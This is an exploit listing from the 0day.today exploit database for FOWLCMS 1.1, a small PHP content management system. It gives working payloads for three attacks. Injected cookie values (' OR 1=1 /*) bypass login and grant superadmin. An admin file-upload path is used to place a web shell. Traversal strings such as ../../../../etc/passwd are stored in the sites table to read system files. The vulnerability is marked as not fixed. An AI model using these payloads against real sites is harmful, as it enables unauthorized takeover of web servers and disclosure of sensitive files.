0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
FOWLCMS 1.1 (AB/LFI/SU) Multiple Remote Vulnerabilities
[======================================================= FOWLCMS 1.1 (AB/LFI/SU) Multiple Remote Vulnerabilities ======================================================= ---------------------------------------------------------------------------------------------- | MULTIPLE REMOTE VULNERABILITIES | |--------------------------------------------------------------------------------------------| | | FOWLCMS 1.1 | | | CMS INFORMATION: ------------------------------ | | | |-->WEB: https://sourceforge.net/projects/fowlcms/ | |-->DOWNLOAD: https://sourceforge.net/projects/fowlcms/ | |-->DEMO: N/A | |-->CATEGORY: CMS / Portals | |-->DESCRIPTION: FOWL is not only a generic term for birds breeded as farm animals, | | but also a CMS (Content Management System)...Use for: Blog Private homepage. | |-->RELEASED: 2009-04-15 | | | | CMS VULNERABILITY: | | | |-->TESTED ON: firefox 3 | |-->DORK: N/A | |-->CATEGORY: AUTH-BYPASS(INSECURE-COOKIE|SQLi)/SHELL-UPLOAD/LFI | |-->AFFECT VERSION: 1.1 | |-->Discovered Bug date: 2009-04-22 | |-->Reported Bug date: 2009-04-22 | |-->Fixed bug date: Not fixed | |-->Info patch: Not fixed | |-->Author: YEnH4ckEr | |-->WEB/BLOG: N/A | |-->COMMENT: A mi novia Marijose...hermano,cunada, padres (y amigos xD) por su apoyo. | |-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | ---------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////// AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi): ////////////////////////////////////////////////////// ----- POC: ----- Add cookies: User_ID= xXx' [SQL] /* PW=xXx Or... User_ID=xXx PW=xXx' [SQL] /* Both are injectable. --------- EXPLOIT: --------- User_ID= xXx' OR 1=1 /* PW=xXx OR... User_ID=xXx PW=xXx' OR 1=1 /* Superadmin account! ************************************************************************** When we are superadmin, we can exploit other attacks...(follow reading). ************************************************************************** //////////////////////////// SHELL UPLOAD VULNERABILITY: /////////////////////////// http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files Here we upload our shell. (Use a reliable path, ex: test) Then, if you go to the link: http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php //////////////////////////// LOCAL FILE INCLUSION (LFI): /////////////////////////// ----- PoC: ----- Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link) http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites There, we change: ../../../../../boot.ini --> column: Dateiname Something (signup for ex.) --> column: Alias Or... ../../../../etc/passwd --> column: Dateiname Something (signup for ex.) --> column: Alias Then, we go to: http://[HOST]/[HOME_PATH]/index.php?site=[Alias] We can see the boot.ini or passwd files. --------- EXPLOIT: --------- changing the "signup" alias for the file that you want. http://[HOST]/[HOME_PATH]/index.php?site=signup Boom! ******************************************************************* # 0day.today [2024-10-06] #